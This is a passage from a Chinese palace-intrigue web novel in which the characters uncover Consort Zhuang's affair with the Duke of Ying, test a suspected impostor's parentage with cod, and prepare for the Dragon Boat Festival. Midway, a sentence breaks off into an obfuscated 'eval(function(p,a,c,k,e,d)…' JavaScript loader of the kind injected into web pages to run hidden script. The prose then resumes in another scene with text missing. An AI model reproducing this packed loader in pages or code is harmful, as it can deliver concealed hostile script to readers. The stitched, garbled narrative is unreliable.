霍灵渠仿佛能在这短短的注视中看到老王爷的一生,老王爷年少时和她六哥哥一样热血激昂呢,老王爷十六年前还是豪情万丈呢。灵渠低头,悲悯柔软:“爷爷,您看这小婴儿,我相信天下的良善之人纵使处境再难,看到个小婴儿也会生出怜爱。” 老秦王只道:“嬴忱璧会是个好皇帝,他眼光挺不错,霍家其实不必太忧心。” 霍灵渠抱着襁褓走到老王爷面前,眸底辛酸:“太上皇想长命百岁。” 老秦王微怔,就觉得这话怎么听怎么怪,霍灵渠抬眸平视,沉声道:“您该出山了,为您的父亲和兄长还有家国社稷,不是为他,是为您心里的热血。” 恰时,襁褓中的小婴儿睡醒了,睁着清澈的大眼睛,没看见熟悉的人也乖,不吵不闹,还咧着小嘴笑,霍灵渠也笑,把襁褓递上:“爷爷抱一抱吧,您做曾叔祖了。” 对面的老人沉默片刻,伸手,手臂稳稳接过襁褓。 初四,大家就都知道了,圣旨降到秦王府,定老秦王为新任镇守安西的大将! 还真是在端午前把将领给定下来了呀。 虢王在家里都要把书房砸塌了。 老秦王领旨,入太微宫谢恩,秦王府的门庭隔十几年再度热闹起来。 很有感触的滕王都拉着晏霁之再让晏霁之拽着原牧炽来秦王府大宅前看看:“小叔公以前多豪迈,他这十几年过得又多窝囊,老秦王他应该是宗室里最有威望的长辈啊,可秦王府这些年门庭多冷,宜春还是老秦王的嫡亲外甥孙女,又如何? 她这些年进京来还不是有多远避多远当没这门亲,谁想到,一朝风云变,说变就变,霍家劝动了圣人,贵妃请动了老秦王,就这么一夕间,风向全变了!老秦王他都71岁了呀,竟然还能得重用镇守西北,这世间事当真如此变幻莫测吗?” 晏霁之和原牧炽都不想跟他共鸣,顺便还给他指指,滕王转头,宜春县主萧灼灼干笑:“呃,我、我……”她显然是听到滕王刚才在背后说她了。 被滕王拽来的两人揪到机会赶紧撤走,滕王也干笑开溜:“呃那个,你进府去道喜吧,表哥我就不打扰你了,改天再会啊。”语毕他速走。 “哎——”萧灼灼想喊住就看他们全跑了,糟心啊,她真不太敢独自进门,太尴尬了,可她不来又说不过去,她能不能让她大伯母陪她来? 撤离秦王府前,晏霁之回吏部衙门,轮值的小吏告诉他,宫里刚来过人,霍贵妃请他。晏霁之闻讯,靠在椅中静默半响,他起身出门,进皇宫。 “今天休假,你什么事这么忙呀休假还去衙门?” 端午有三天假,今天休假了,霍灵渠派宫人去英王府请人,宫人回来告诉她,英王世子今早仍然去吏部衙门了,宫人们去到吏部时又赶上滕王把英王世子拽走了。 “过两天我可能要告假,能安排的就端午前安排好吧。”晏霁之步入神仙殿,走到她身边抱她入怀,霍灵渠抬手抚抚他的脸,男人眼底有些乌青,面庞泛着憔悴,细看还有胡茬,霍灵渠兀然不是滋味:“你还是先纳房妾室,好歹能照料你的起居。” “……” 晏霁之被噎得真想呛她,但情绪低到底提不起劲儿:“你都瞎想些什么,我是想不好,我想到个计划,很大胆的计划,这计划能否成行,我也不知,但,计划能成才是危险,我想不好我该不该放掉这个想法?所以近几天心情有些沉闷。” 霍灵渠忖度:“这计划若是能成,会有多危险?” 晏霁之沉默下相告:“我会有杀身之祸。” 霍灵渠不可思议地看他,晏霁之抿唇笑笑,眼底似有难言的凉意感染:“你若是觉得我是在危言耸听,故意想让你担忧我牵挂我,你就这么想吧。” “你有多少把握?”霍灵渠打量他,偏越打量越有点心沉,总觉得晏霁之不像在戏言:“你这计划能做成和你能避过危险,你都有多少把握?” “没把握。”晏霁之很坦诚:“若能有把握,这就不是个大胆的计划了。” 所以你真不是故意吓唬我吗?霍灵渠心里憋得慌,可想凶他还是凶不起来:“去做吧,若此计划,你想放弃就不会想不好了,唯有你很想尝试才会令你有顾虑,既然此计可能会让你有性命之危都还没让你放弃,那就去做吧,会否极泰来的。” 晏霁之目不转睛注视她,问:“若是我没机会接你出宫了,你会不会怪我?” 霍灵渠侧头不语,晏霁之缓缓低头,埋首在她怀中:“灵渠,对不起,皇帝刚将你抢走那会儿我觉得没有生趣,我想和你长长久久,但我还是不能因此就割舍我自己,我,我做不到为我们能长相厮守就没有了自己只为我们而活,对不起。” “傻话,若是自己都没有了还何谈其他?”霍灵渠心一揪,眼眸就酸了:“你觉得没有生趣那会儿也得你存在才能觉得,否则还能有什么感受,最重要的当然是自己呀。”你、你没什么对不起我,她还应该这么安慰,可,可霍灵渠张张唇,劝不出来。 她就觉得这人坏呀,好端端的跟她说有杀身之祸,害她难受,当然对不起她。 晏霁之故作轻松逗她:“你就祈祷,天天祈祷我这计划成不了吧。” 霍灵渠不想理他,晏霁之笑,想哄哄她还是没哄出来,只能拥住她埋在她怀里。 悲愁又将沉寂拖得格外长。 霍灵渠什么都没想的负气会儿又数过几只金元宝,抬手擦擦脸,把她整理的摘录给他,是四姐姐生前服侍她的宫人和庄太妃在授康二十年以前所有用过的宫人的详细情况,她查找宫人的档案好几天,刚摘录完整:“放心吧,会水落石出。” 晏霁之握住她给他的摘录,逐渐剥离沉浸着的苦涩:“我查到了。” 霍灵渠讶然,直觉想到:“就是四月三十,你进宫来缅怀四姐姐那天?” 晏霁之嗯声,霍灵渠忍不住轻声:“是庄太妃母女?” “对,就是庄太妃母女,还有庄太妃的亲家母、嬴丹若的婆母、太上皇那个同母妹妹,以及侯瞻让和升平。”晏霁之眸光锋利:“是她们仨借侯瞻让母子的手做的。” 霍灵渠定定看他,从犹不自信到心发沉:“侯瞻让和升平大长公主?” 晏霁之抓着手中的摘录,几欲要将摘录折断。 霍灵渠忽然觉得荒唐:“嬴丹若这婆母打着关怀的名义请升平转送东西,升平就信了,侯瞻让就信了?他们是不知道这位什么品性还是就没想设戒心?” “懒得有戒心吧。”晏霁之讥诮:“升平嫌恶我表姐,我晏家又不是眼瞎看不懂。” “四姐姐病逝,升平母子会有过怀疑吗?”霍灵渠眼沉肃,没待晏霁之搭话,她自言:“我猜不出来侯瞻让有没有过怀疑,我更愿意猜侯瞻让没有过怀疑,但这位升平大长公主,我偏向于她有过猜测怀疑,但是她只想烂在肚子里当一无所知。” 晏霁之倏然攥拳,拳头捏得咯吱响,眼中的恨意似能冰封千里。 霍灵渠倚在他怀里环抱住他,想哄他冷静一般说:“大哥告诉我,晋王找上侯瞻渥了,承诺侯瞻渥若是明天能将桑柔约出来让晋王痛打顿给庄太妃报仇,晋王府就帮他离开京畿,侯瞻渥答应了。晋王还找上了娉姨娘和霍鸳娇。 晋王想把霍鸳娇和娉姨娘摆在前对付桑柔,娉姨娘他们也答应了,就等着侯瞻渥明天把桑柔约出来。你猜,侯瞻渥有没有数,晋王要做的绝不会只是将桑柔痛打?” “有数,但不愿意多想。”晏霁之肯定道,霍灵渠牵牵唇,溢出丝讽刺:“新都大长公主曾言,她一直觉得大姐是她们姐妹中性情最好的,直到侯瞻渥出生,她老来得子甚是溺爱,新都才发现这大姐竟是那么偏颇之人,还不如平原呢。” “当然,侯瞻渥的哥哥姐姐们加起来在这母亲心里恐怕都比不上侯瞻渥。” 霍灵渠低眸凝滞几息时间,释然道:“我大哥和侯瞻让二十多年的兄弟情就这么淡了,近来已经堪比陌生人,我之前曾觉得可惜,现在想,没什么可惜。 宫宴当天,侯瞻让或许就在想,和霍海啸二十多年的兄弟情要到头了,但若是我大哥在他的位置,我大哥根本不会想这件事对他们的关系能有什么影响,我们与他就不是一路人,没有这件事也会有别的事闹到两个人分道扬镳,注定陌路。” 晏霁之冒出个念头来:“灵渠,你觉得,若是海啸和侯瞻让未曾因此事陌生,他们会是下一个你祖父和老郢国公吗?” 霍灵渠讶然,直觉不会,思量过仍摇头:“不会。” 晏霁之辩驳:“已故的老郢国公和你祖父必定真心相付过很多年,他们对彼此真诚的年月很可能比你我的年岁还长,否则你祖父怎会四十年没看清?” “倘若老郢国公和我祖父遇上我大哥与侯瞻让这个事,已故的老郢国公和侯瞻让的选择必会是截然相反,他不会有任何动摇,只会管住弟弟。”霍灵渠低落:“对,你说得对,他们一定有过很多年真心,只是……” 她都觉得悲凉:“四十年太长了。” 晏霁之也仍有唏嘘,赞同道:“对,我的假设不成立,没得比,你祖父和老郢国公当年根本不是侯瞻让能比。”他倏然冷嗤:“侯瞻让为何要与霍海啸分道扬镳,因为一个弟妹,多荒唐啊,因为一个弟妹?!这二十多年的兄弟情是有多不值一提? 海啸应该是想明白才没挽回就放手了,不值得,一点不值得。 一个弟妹,多微不足道,就把他们二十多年的兄弟情给打散了,那这兄弟情又算什么,就是个笑话吗?侯瞻让,的确不配你大哥把他当兄弟看。” 霍灵渠偏又浮想起刚被她推倒的假设:“可若是他们能撑过这回的磨炼,又焉知将来不会是下一个我祖父和老郢国公?”她语音发苦:“人心,当真世间最不可测。” “已故的老郢国公是终归还是心小了才会与你祖父走到这步。”晏霁之极敏感的反驳:“但若是护国公,或者已故的老护国公,若是他们跟人做四十年的异姓兄弟呢,还有肃宗,肃宗皇帝又是何等胸怀,你还想因为一个人就以偏概全吗?” 霍灵渠低低头,唇畔噙笑,靠在他怀里,懂他的急促,他怕她不信他,虽然霍灵渠自己都不知道她会不会信晏霁之会冒出想拿她炼药的想法,但还是有感到安然。 “大哥跟我说,蓁蓁和振羽还有佟梦姿,佟家人好几个都病了?” “嗯,一个马不停蹄赶回来,还有五个出狱出来,不病几天怎么对得起他们的辛苦。”晏霁之闲闲的说风凉话,这假模假样的腔调,霍灵渠拍他下,晏霁之讨饶:“好好好,是我让他们病倒,让他们暂且病十天半月,大家都能清净些。” 霍灵渠略过问:“房祯毅明天真要请冰人去佟家求亲啊?” 晏霁之对此当然比霍海啸随意多了:“佟卓伦兄弟没病倒,肯定能招待他。” 霍灵渠叹息,还是问佟家:“扈妈妈,我是说从晏家回归佟家的这批人还有大半从霍家回去的这些奴婢真的都被佟梦骜送进京兆狱了?”晏霁之应嗯,她都有丝感触:“扈妈妈在佟梦娴身边时多享福啊,翡翠都养得十指不沾阳春水。” “这两批奴婢,能留下十个都算佟梦骜手下留情了。”晏霁之淡淡道:“不过,这点情面怕是也留不了几天了。还剩下的,佟蓁蓁的奶娘一家,佟振羽的奶娘一家,两家人目前在商量偷身契逃跑,被抓住后,佟梦骜还能对他们客气吗?” 霍灵渠诧异:“振羽的那个花珀姨娘是不是,她不是有身孕了?” 晏霁之被逗乐了:“人家都想偷身契逃跑了还可能会生吗,他们若是能逃脱,佟振羽这小妾离京的第一件事就会是给自己打胎。”晏霁之说着想起来:“不过,今天都五月初四了,佟梦从居然还没有赶回京,他怕是想甩脱佟家了。” “不能吧?”霍灵渠犹豫:“佟梦骜和佟老太爷也不可能放他走吧?” “是佟梦从想甩掉佟家都不会两手空空的走。”晏霁之轻刮下她的俏鼻,笑道:“佟梦从若是想撤,走前必会想吞下佟家和钟家在滁州的生意贱卖掉,拿银两远走高飞,可惜,他甩得掉老父和兄长,挡不住皇帝要清算佟家,他走不了了。” 霍灵渠缄默不语,安静靠在晏霁之怀里,晏霁之问:“你明天出宫吗?” “嗯,表哥要带我见几个外祖家的族人。”霍灵渠说到此不由得皱皱鼻,怪道:“但表哥只带我还不让我告诉桑柔、连表哥进京都不让我告诉桑柔,我总觉得不对劲。” 晏霁之执起茶壶倒两碗茶水,递碗茶给她:“也许明天你就知道了。” 霍灵渠嗯声,捧茶道:“表哥也是这么跟我说的,端午见面会跟我解释清楚。” 晏霁之茶水饮尽,指腹轻轻划着她的红唇,两个人的暧昧滋长,霍灵渠俏脸微红起来,鼻息相触间,晏霁之温柔笑:“想不想吃糖?” 霍灵渠脸红,白嫩的耳根都红了,晏霁之没察觉她想入非非,是正经的:“明天端午,我要去祭拜姑母和表姐,我想亲自做盒糖带过去,匀你两颗?” 想歪的女人:“……” 臊得想躲起来的霍灵渠稳住,应道:“我一会儿抄两份佛经,你一并带去吧。” “好,”晏霁之抚抚她的小脸亲口女人的唇瓣,酥麻得霍灵渠一个激灵,立时清醒些了:“对了,我大哥还说,庄太妃认为是细作出卖她才害她被桑柔暴打,下了杀令,预计不日,皇帝就能把庄太妃还遗留在皇宫里的暗钉全部拔起了。” 晏霁之只专注吻她。 霍灵渠捧捧他的脸,再阻拦:“四月三十夜里,晏家有没有收到消息?” 晏霁之闻言,算是什么旖旎的心思都没了:“收到了。” 霍灵渠眨巴眨巴眼睛看他,晏霁之抬手揉揉她的小脑袋,他相信老穆国公都始料未及:“我爹懵了,我估计你大伯也懵了,你爹恐怕都有点懵。” 霍灵渠点头。 谁说不是呢? 魏王都懵了,早朝结束就去找正徽帝,问昨夜可有收到小觉庵的消息? 正徽帝嬴忱璧对于此事对这皇兄都不知该怎么启齿,然后他们就都被霍太后喊过去了,霍海啸进宫来告知姑母和妹妹时都还有点不自信,英王晏墉下朝后拽过霍秦川去角落交流,两人没想偷偷摸摸在好些大臣们看来都有些鬼鬼祟祟。 长春宫的正殿四周,宫人们撤得远远的,皇帝和魏王进殿,霍太后让他俩把昨夜收到的消息写来给她看,笔墨都已齐备了,皇帝和魏王没二话都顺从的写了,连着霍海啸的字条,三张字条放在一起看,不是一字不差但意思是一样的—— 郢国公昨夜潜入小觉庵,庄太妃见到郢国公后投怀送抱,两个人相拥许久。 “呵,呵!!” 皇帝和霍海啸乃至魏王皆沉寂,霍灵渠把这些字条烧掉,霍太后都被气笑了:“庄氏的底牌就是这个,怪道郢国公府能帮她在霍家做下那桩阴谋,原是庄氏勾搭了郢国公,还以为她是用什么手段把鞠家收服了,合着,还是我高看她了!” 四个小辈都没说话,霍太后问:“皇帝,两个假冒货是在你手里吧?” 嬴忱璧应过,霍太后交代:“鞠家人不能碰鳕鱼,一碰就浑身瘙痒起红斑,皇儿,你就用鳕鱼给没烧伤的假货试试,看她是不是鞠家的种?” “姑母?”霍海啸第一个出声:“您怀疑?” 魏王也惊诧,他有过那么点若有似无的念头但没有切实的想法,霍太后的怀疑,他是真被惊到了更说不上来有什么兴奋就是震惊吧。霍太后冷嗤:“有什么不能怀疑,庄氏都勾引郢国公了还会做半吊子,当然要弄出个胎来才好绑住鞠家。 何况她根本没必要让她的幼女死,圣人当时已决意留住庄氏,任皇后奈何不得她,庄氏很清楚,那她为何还要让她的幼女假死?更何况,她当年可是从小觉庵回来后就怀上来了,若她就是在小觉庵里怀的,她这第四胎是鞠家的种呢?” 霍海啸哑然,魏王也是无言,霍灵渠想问:“他们就没想过会被窥视吗?” “当然是自觉绝不会被外人窥视,郢国公都会自觉他昨夜进小觉庵没人知道。”魏王没什么讥讽意味反倒是觉得霍灵渠有点傻了居然还问这种问题。 “还有自觉他鞠家的护卫能把守住吧。”霍灵渠垂眸,令行禁止好像是种想当然,屏退之后想当然认为奴婢们会恪守,想当然认为没有暗桩会敢来窥视,但,现实是,有的是细作会去窥察,皇太后的住处尚且不安全,何况庄太妃都入小觉庵了。 霍擎拄着拐杖进殿来,他们不约而同看他,霍擎指派道:“陛下和魏王该去太微宫了,人数清点清楚,把霍秦川和晏墉带上。” 魏王奇怪:“什么人数?” “知道的人数啊,昨夜小觉庵里的事是能随便知道的吗?”霍擎老太爷嫌他没眼力劲,魏王忍住了没呛,看向这弟弟,嬴忱璧问:“老国丈觉得我们该告诉父皇?” “大外孙啊?!你怎么做皇帝的,这你都能犹豫吗?”霍擎瞬间比嫌魏王还嫌他,嫌得都快没眼看了:“还有,不是去告诉圣人这件事,是去告诉圣人,有几个人知道了这件事,你莫非以为圣人昨夜会没得到禀告吗?瞎想什么呢。 你当你今早见到父皇时没看出圣人有何不同就真当他还没收到消息吗?你们老爹要是疑心病犯起来,你们全都能被怀疑上,他一冲动把你们全宰了都可能。” “怀疑?”魏王不可思议:“怀疑什么,怀疑我们两个不是他儿子?” “是你们兄弟姐妹全都可能会被怀疑。”霍擎纠正,魏王好笑:“老国公——”忽就被自己卡住了,他这爹?那爹要是疑心病犯起来?魏王默下,终于觉得庄氏这事作孽了。 霍灵渠猛地意识到:“祖父的意思,庄太妃的幼女可能是郢国公的女儿不能禀告?” “对,不能禀告。”霍擎老脸笑得和蔼:“不然咱们全得死。” “老国公言重了吧?”嬴忱璧总归还有点侥幸觉得不至于,霍擎瞧这外孙真是活该又被霍秦川训又被他的贵妃训了,看他若自己摊上这种事,他能不能容忍被外人知晓:“陛下,昨夜是猝不及防,圣人宽厚当然能 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return 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“父皇您对这位的感观就这么好吗?”魏王好笑且隐有愤怒:“儿臣也曾以为庄氏是个有底线的人,我大哥死后好多年我都这么觉得,昨夜收到消息时孩儿是真的懵了,我多想踩死她、我都不敢相信,今早大家相互确认过消息无误才信了。 不止我,穆国公和晏墉他们也是都不敢相信,孩儿现下想来为何我们不敢相信,因为我们有底线,她没有!这位为了争权夺利,多不择手段都使得出来,她眼中可能会有儿女情长吗,父皇您看不见她那副皮囊下装着的只有妄想坐拥天下的野心吗?” 太上皇转向皇帝:“皇帝觉得呢?” 嬴忱璧道:“父皇,孩儿以为皇兄或许推测晚了,是授康11年,授康十年她获封淑妃,在她获封淑妃之后她就已经在做筹谋了。在后宫用朱家女做掩护残害父皇您的皇嗣,在前朝搜寻能够招揽的人家,定下郢国公府鞠家,她就开始行动了。 多年招揽甚至不惜让鞠家拿她一个大把柄,对霍家的阴谋,应该就是她和鞠家合谋的。可宫中还有鞠太妃啊,故,朕推测,鞠太妃当年诞下十弟后,她破釜沉舟与郢国公有染,她再害死十弟引导鞠家以为是霍家做的,她便等着笑到最后。” 太上皇若有怅惘:“前些天,寡人还说,寡人潜邸的老人就剩她了。三十多年了,寡人身边拔来报往几百个女人,来来回回、争来争去都不知道争过多少轮了,也就她,唯独她,从潜邸的争斗起到现在寡人都禅位了还在争抢吧?” 魏王霍然皮痒:“还好父皇您没想过立她做继后,否则今天——” 皇帝嬴忱璧诡异的看向这哥,太上皇果然被撕裂沉寂到好像只有伤感的表象看向魏王,魏王撇撇嘴:“应该也发现不了。” 太上皇终于被激怒怼他:“你终于可以告慰你母亲的在天之灵了是吧?” 魏王闭嘴。 皇帝眼观鼻鼻观心,神情微微微妙,好像没多想法,果然也没逃过,太上皇瞪视皇帝,嬴忱璧轻咳道:“魏王这德行跟原牧炽前几天那德行挺像的。” 太上皇猛烈炮轰:“你们兄弟的德行也挺像的,今天就特别像蜀王!” 嬴忱璧抿抿唇也闭嘴。 “此前从未传出过风声,寡人对于庄氏和鞠家有交往全然不知,若是她做淑妃之后就在筹谋招揽鞠家,二十多年,怎么可能瞒得这么好?”太上皇笑:“鞠太妃在给他们打掩护?不可能吧,何况既有来往总会有蛛丝马迹,他们怎么瞒住的?” 嬴忱璧和魏王相视眼,两人都装作思量会儿,皇帝嬴忱璧恍然道:“父皇,二十年前,庄氏是不是曾在小觉庵住过一年?她当时好像是以为皇祖母祈福的名义去的。” 太上皇眸光一闪,眼底厉光闪过:“是有这么回事儿。” “所以,她当时就是预谋好了的,二十年前她想去小觉庵是为招揽鞠家去的?!”魏王勃然发笑:“这位可真是,真会步步为营!”魏王转向父亲,神情激烈,胸腔内像有火在烧:“父皇您当真觉得,温献皇后——晏贵妃当年会不是她害死的吗? 您看她算得多好啊!我看她到您身边的第一天就什么都算好了!始终越不过温献皇后,她就害死温献皇后;争不到继后位也无妨,她还能争储位,只要她不死,这争斗就不能息!我是不是也该怀疑怀疑我娘才三十九岁就薨逝也有她的手笔?” 魏王双目赤红,凛冽质问:“父皇,儿臣倒是想知道,假若您不是在人前一直向着她,她真的不会打您的主意吗?假若十二年前是她入主中宫,没两年你们的分歧就越来越大,她占据着名份大义又嫌您碍着她时她做不做得出来害死你啊?!” 太上皇只道:“是寡人糊涂了,庄氏对郢国公能有什么私情,不过是利用。” “就算是利用,郢国公他怎么就做得出来?” 嬴忱璧火大了都忍不住咆哮:“郢国公他还真敢啊!四大国公府中鞠家想笑到最后乃至想走摄政王的路,朕都可以理解,但这事儿,朕是真想不通了。 郢国公他什么心思,他什么心思才能在被庄氏算计后居然不是一刀宰了庄氏,老郢国公授康二十八年死的,老郢国公生前必定清楚,居然也能毫无作为?!” 皇帝都不得不恭维:“多好名声的人家呀!” 魏王想嘲笑他你没看见郢国公连个老太婆都愿意抱吗,还是没怼出来,也是被气到了,嬴忱璧有句话很对,郢国公被算计后应该把庄氏一刀宰了才是吧。 “难怪,鞠老头跟老穆国公交好四十年,背地里干的尽是想把霍家斩尽杀绝。” 太上皇沉吟道:“你们觉得,庄氏是庄家的种吗?” 魏王愣下,觉得他父皇可真能想,皇帝嬴忱璧莫名想捂脸:“根据晏霁之的答案,是,以庄太妃的相貌,她绝对是庄家亲生的,那么,庄家的聪明劲儿就是全长在她身上了,庄家才扶不起来。”随即被魏王古怪:“晏霁之怎么会跟你谈这个?” “朕今早问过晏霁之同样的问题了。”嬴忱璧说。 好吧,魏王收回刚才的想法,他父皇的怀疑不离谱,是应该怀疑下,庄氏那么多心思,偏偏庄家都扶不起来,能是一家吗?晏霁之的答案也靠谱,是一家子。 “父皇,太妃们想让晋王端午后就离京。”嬴忱璧劝道:“朕想父皇您近来可能也不大想见到晋王,要么就让晋王走几个月,中秋前都不要回京了?” 太上皇应好,嬴忱璧宽慰:“朕和皇兄就不叨扰父皇了,您切莫因此伤神。” “嗯。” 新任镇守安西的大将定下,老秦王入太微宫谢恩,嬴忱璧同来太微宫,时隔两天,皇帝看他父皇,虽然太上皇面容高兴对这位多年未见的小叔很热情,貌似没被庄太妃的事影响,嬴忱璧还是能感觉出来他爹心情差,明天又是端午,唉。 太微宫这边告一段落,皇帝回銮,銮驾驶入皇城,嬴忱璧直奔长春宫。 贵妃传召晏霁之想把她这几天的摘录送给晏霁之? 没想背着皇帝不规矩又何必趁他去太微宫时? 嬴忱璧迈进神仙殿,看见霍贵妃独自闷闷的靠坐在罗汉床里,怀里揣着只木匣,皇帝进殿都没反应。嬴忱璧略过贵妃的没有礼数,伸手向这只木匣。 霍灵渠抬眸看他,嬴忱璧手臂僵下还是把木匣拿起来,他不能这么纵容贵妃,一打开,皇帝他险些没懵,铜板?一匣铜板?这什么情况,贵妃怀抱着一匣铜板作甚? “这是,晏卿送给贵妃的?”皇帝只能这么猜了。 霍灵渠古怪打量他:“你觉得可能吗?” 嬴忱璧被噎下,镇定笑:“那么贵妃抱着这匣铜板作甚?” 霍灵渠又瞟瞟他,告诉他:“这是钱啊。” 嬴忱璧:“……”再被噎的皇帝告诫:“朕问的是,贵妃抱着这匣铜板作甚,贵妃难道会无缘无故抱着一匣铜板吗?不要给朕含糊其辞。” 霍灵渠把她的木匣夺回来:“抱着钱能心情好,你都不懂吗?” 嬴忱璧算是懂了,霍贵妃的意思是,晏霁之出宫了,她心情不好,所以要抱一匣铜板来想让自己心情好转是吧?!呵,他这位贵妃还真是有脸跟他说啊。 “贵妃怎么不多留晏卿一会儿,朕还打算朕回宫时能和晏卿遇上呢。” “他还要回吏部忙。”霍灵渠也懒得装,整个人就是有些沉闷,嬴忱璧当即在心里怼:你还舍不得了是吧?!瞥见那本摘录,皇帝拿过来翻翻,仍然阴阳怪气:“贵妃不是想把这些个宫人的情况摘录汇集起来送给晏霁之吗,他怎么不带走啊?” “他誊一份带走了。”霍灵渠的话音倒也疏朗些了,嬴忱璧还是冷嘲热讽:“是啊,朕前几天就跟贵妃说了嘛,你亲自写来送给晏家不合适,还是晏卿他比贵妃你懂事些,今儿个,这要是宫女摘录的也省得晏卿他誊写了,是吧?” 霍灵渠不想再理会皇帝,低眸看向她的铜板木匣,晏霁之离开后,她提不起劲儿特意让婢女去取来的,她想数数铜板心情好些,可没想到她连数铜板的兴致都没有。 她还,一枚铜板没数过呢。 141. 第141章 端午,十余年来,皇宫中端午向来没有庆典宴饮。 因11年前,太上皇的嫡长子、皇帝的嫡长兄薨逝于端午,伤情未散。 皇宫昭德门初开,天地间还弥漫着青雾,郭太太便递牌进皇宫,赶去怡华宫看她女儿。郭皇后还在病中,郭太太见到女儿的孱弱样又想起这几天听说的,她被霍贵妃关起来之后,女儿的反击和因此遭的罪,在丈夫那里寒凉的心总算有了点慰藉。 皇帝嬴忱璧进长春宫给太后请安,还带着霍贵妃陪太后用早膳,早膳刚端上桌,皇帝、太后和霍贵妃就得到个禀告:郭太太想在宫里小住几天陪皇后。 “太太您长着眼睛啊,您长着眼睛怎就非得来讨嫌?” 小内侍甩下给这位皇后母亲的回复,哼声就走,郭太太憋着痛恨捏紧拳头,真恨不得就一头去撞死在长春宫前,看看皇帝和霍家还怎么面对世人?! 安抚好女儿,郭太太就出宫,去魏王府找大皇子。 她还比皇帝和霍贵妃早两刻钟出宫呢。 霍灵渠看着皇帝欲言又止,嬴忱璧微笑道:“贵妃有话,尽可直言。” “我想起上个月选秀把郭太太的娘家侄女和妹妹的女儿刷下,她娘家兄嫂和妹妹进宫来找她时对她很骄横,她却好像害怕兄嫂和妹妹一般,可她却又是不管是对陛下和太后还是对霍家都只想着拿捏。”语毕,霍灵渠未再多言,只是陈述两种情形对照。 “欺软怕硬吧。”嬴忱璧淡淡道,霍灵渠诧然:“陛下的意思,霍家和郭家在撕破脸之前霍家一直在庇护着郭家,郭家多年前就在你们面前充大了,因而纵使两家撕破脸,郭太太也都只想着霍家是能由她拿捏或者说只想拿捏我们这些人。” 嬴忱璧点点头。 霍灵渠又看皇帝一眼,迟疑下,移过视线,嬴忱璧了然笑:“贵妃在想,我做人女婿,十余年来这岳母和岳家对我也一直是高高在上心里就是看不起我吧?” 霍灵渠僵硬下没说话,嬴忱璧也清楚,这未尽之意:这么伙人,你怎么就能供得起来还能供十余年?既然郭氏嫁给你的前三年你没想让郭氏生养,你不是该干脆不让郭氏生养才是正常人的做法吗? 皇帝低头闭目,在霍贵妃面前都没忍住倦怠地捏捏眉心。 再回首,他才仿佛发现他难以忍受、过往经年是有多不堪,他到底是怎么过下来的呀,若是以他现在的心态去面对他和郭氏刚成婚时,他应该是不会让郭氏生养了。 来到霍家大宅前,霍灵渠报备:“臣妾随您去给祖父请个安就回后院看桑柔和小祐了,今天端午,街上很热闹,我大概会带桑柔和小祐出门玩。” 嬴忱璧怀疑:“贵妃知道今天是悼太子的忌日吗?” 霍灵渠应知道,嬴忱璧倒没再说什么了,霍灵渠主动问:“陛下认为,我既知道今天是大哥哥的忌日就不该有玩心?” “倒也不是,朕就是随口一问而已。”嬴忱璧感叹:“皇兄薨逝11年了,何况对贵妃,十六七年未曾见过了,悼太子的忌日与你又有什么关系?” “话也不能这么说,我只是觉得,祭奠、怀念,只要是真心,无所谓是不是逝者忌日,悲痛时悲痛,高兴时便高兴。”霍灵渠眉眼浅浅温婉明媚:“没有心情不好又何必故作悲伤,大哥哥在天上一定盼着我们都好好的。” 嬴忱璧含笑应:“贵妃说的是。” 晏霁之昨天还曾言,想亲自做盒糖,今日,霍灵渠回霍家,见过祖父祖母后去看妹妹,她刚一见到小祐,小祐高高兴兴给她个荷包说:“姨母吃糖。” 她没多想的打开荷包,掉出来几颗糖和一张纸条,纸条上就两个字:想你,霍灵渠顿时俏脸微热。 霍桑柔有点头皮发麻:“我也不知道小祐这荷包哪来的,早膳时还没有呢。” 霍灵渠默默把糖放回荷包里,把纸条烧掉。 嬴忱璧被老穆国公霍擎堵在院门前半响,刚刚他们过来,霍擎站在院门前,霍灵渠只跟祖父打个照面就被赶走了,于是就剩嬴忱璧独自被拦着,老人家不大友好的审视皇帝外孙,老少对立好一会儿,嬴忱璧退让:“老国公,我们进屋里说话吧。” 霍擎怼:“才站一站,我个老头都还没喊累,你就嫌累了?” 我看您老是想给我个下马威!嬴忱璧在心里腹诽:请问我最近哪里得罪你了? “好,老国公既想站着说话,就这么站着说话吧。”嬴忱璧往后退几步,视线开阔些,皇帝他环顾过四周,质问:“蜀王想做什么,他想带贵妃见谁,他外祖家的人?他假冒贵妃生母娘家的人和贵妃冒认表兄妹,霍家就放任了还陪着他演?” “可就算告诉灵渠,她这表哥是蜀王殿下,他们还是表兄妹。”霍擎迈前步,淡淡道:“姬太妃是贵妃母亲的亲姐姐,人家就是正经的表兄妹嘛。” “老国公?!”嬴忱璧生气训,霍擎散漫劝:“陛下何必把世事都攥这么紧,贵妃不都说您把心箍太紧了,蜀王既是有备而来,咱看着不就好了。” 嬴忱璧不能同意:“若有个闪失呢?静观其变,老国公就有把握一定能把控住?” 霍擎不想和他争地给他张纸条,嬴忱璧没好气的拿来看,微愣:“占城稻?” “镇南侯派人送来的,是五月十五镇南侯将送来给贵妃庆贵妃晋封贺贵妃生辰之礼。”霍擎解释过,嬴忱璧豁然涌起阵狂喜:“阿漾这是……” “送了只凤凰来。”霍擎感慨笑:“昨个儿霍秦川还愁,这么份大礼,霍家该如何谢?哎呀老头我真是看不上他那副没眼色的德行,这跟霍家能有什么关系? 这是镇南侯嬴天漾送给霍灵渠的,霍家可没那么大脸面,倘若贵妃不是霍灵渠、是其他任何一个霍氏女都没有这份礼,这就只是嬴天漾送给童年小伙伴霍灵渠的。” 嬴忱璧自然懂,老穆国公这是怕他多心:“阿漾这份礼确实重。” 霍擎敛起表情没有接话,嬴忱璧暂且把蜀王的事压下,说:“朕,拿鳕鱼试过了。”虽然庄太妃和郢国公的私情已经曝露,再提用鳕鱼试过似是多此一举,皇帝还是想说,还是怒:“郢国公,他还真敢啊,他鞠家还真敢啊!” 霍擎仍然不语,嬴忱璧冷静下问:“老国丈以为武襄侯府会牵涉多深?” “贵妃想让老臣再给陛下宽宽心。”霍擎抬眸,老脸有肃色,注视过皇帝两息时间,他转身往院里走,嬴忱璧情绪沉敛下来,看过老人慢走的背影,跟上。 